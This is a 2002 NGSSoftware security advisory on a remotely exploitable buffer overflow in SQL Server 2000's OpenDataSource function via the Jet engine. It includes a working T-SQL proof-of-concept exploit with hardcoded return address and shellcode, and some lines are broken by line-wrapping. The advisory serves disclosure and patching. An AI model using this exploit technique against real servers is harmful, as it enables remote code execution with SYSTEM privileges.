Microsoft SQL Server 2000 OpenDataSource Buffer Overflow (#NISR19062002)

["David Litchfield" <david () ngssoftware com>]

NGSSoftware Insight Security Research Advisory

Name: OpenDataSource Buffer Overflow
Systems: Microsoft SQL Server 2000, all Service Packs
Severity: High Risk
Category: Remote Buffer Overrun Vulnerability
Vendor URL: http://www.microsoft.com/
Author: Mark Litchfield (mark () ngssoftware com)
Contributor: David Litchfield (david () ngssoftware com)
Advisory URL: http://www.ngssoftware.com/advisories/mssql-ods.txt
Date: 19th June 2002
Advisory number: #NISR19062002
VNA reference : http://www.ngssoftware.com/vna/ms-sql.txt

This advisory covers the solution to one of the problems mentioned in the
above VNA URL.

Description
***********
Microsoft's database server SQL Server 2000 has a remotely exploitable
buffer overrun vulnerability in the OpenDataSource function when combined
with the MS Jet Engine. Due to this being a JET problem other products may
also be vulnerable; however the fix for all products should be the same.
Please see the "Fix Information" section for more details.



Details
*******
By making a specially crafted SQL query using the OpenDataSource function it
is possible to overflow a buffer in the SQL Server process, gaining control
of its execution remotely. If the SQL Server is running with SYSTEM
privileges, this is default behaviour, then any code supplied by the
attacker in an exploit of the overflow will run uninhibited. Whilst the
overflow is UNICODE in nature, as will be shown, it is still very easy to
exploit.

What must be stressed is that this may be launched via a web server
application if it is vulnerable to SQL Injection so just because no direct
access can be gained to the SQL Server from the Internet does not mean it is
safe. All customers running SQL Server should check their patch level.


Simple Proof of Concept
***********************
This Transact SQL Script will create a file called "SQL-ODSJET-BO" on the
root of the C: drive
on Windows 2000 SP 2 machines


-------8<---------

-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david () ngssoftware com)
-- 19th June 2002



declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
  select @padding = @padding + @pad
  select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K
Sp2
-- change if running a different service pack

select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0
C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM
penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad +
@code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended
properties=Excel 5.0'')...xactions'
exec (@exploit)

------->8---------





Fix Information
***************
NGSSoftware alerted Microsoft to this problem on the 16th of May 2002 and
after investigation Microsoft recommend that customers should upgrade their
version of Jet. The latest version is available from here:

http://www.microsoft.com/windows2000/downloads/recommended/q282010/default.a
sp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D38002%26area%3Dsearc
h%26ordinal%3D2%26redirect%3Dno


A check for this vulnerability has been added to Typhon II, NGSSoftware's
vulnerability assessment scanner, of which, more information is available
from the NGSSite, http://www.ngssoftware.com/

Further Information
********************
For more information regarding SQL Injection please read

http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf

and for more information about buffer overflows please read

http://www.ngssoftware.com/papers/ntbufferoverflow.html
http://www.ngssoftware.com/papers/bufferoverflowpaper.rtf
http://www.ngssoftware.com/papers/unicodebo.pdf
http://www.ngssoftware.com/papers/non-stack-bo-windows.pdf